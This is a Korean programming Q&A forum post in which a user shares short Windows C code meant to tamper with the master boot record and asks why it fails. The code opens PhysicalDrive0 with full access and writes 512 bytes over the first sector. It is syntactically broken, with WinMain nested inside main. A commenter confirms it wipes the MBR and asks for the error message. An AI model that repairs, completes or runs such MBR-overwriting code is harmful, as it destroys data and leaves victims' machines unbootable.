윈도우 api함수 작성

조회수 688회

mbr을 변조하는 코드를 간단하게 작성해 보았는데 제대로 윈도우api를 공부한게 아니고 시간이 부족해 필요한 부분만 사용하고 싶어서 질문드립니다... 오류가 나는데 어디를 고쳐야 될까요...?

include

#include int main() { int APIENTRY WinMain(HINSTANCE hlnst, HINSTANCE hPrev, LPSTR lpCmd, int nCmdShow) { HANDLE hFile = INVALID_HANDLE_VALUE; DWORD dwRead;

         hFile = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_ALL, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

         WriteFile(hFile, "00", 512, &dwRead, NULL);

         CloseHandle(hFile);

         return 0;
   }
}
  • (•́ ✖ •̀)
    알 수 없는 사용자
  • 코드는 단순한 겁니다. 첫번째 장치(드라이브)의 첫번째 섹터(MBR) 즉 512바이트를 다 지우겠다는 겁니다. 무슨 오류가 발생하는지를 적어보시기 바랍니다. 정영훈 2018.8.17 10:28

답변을 하려면 로그인이 필요합니다.

프로그래머스 커뮤니티는 개발자들을 위한 Q&A 서비스입니다. 로그인해야 답변을 작성하실 수 있습니다.

(ಠ_ಠ)
(ಠ‿ಠ)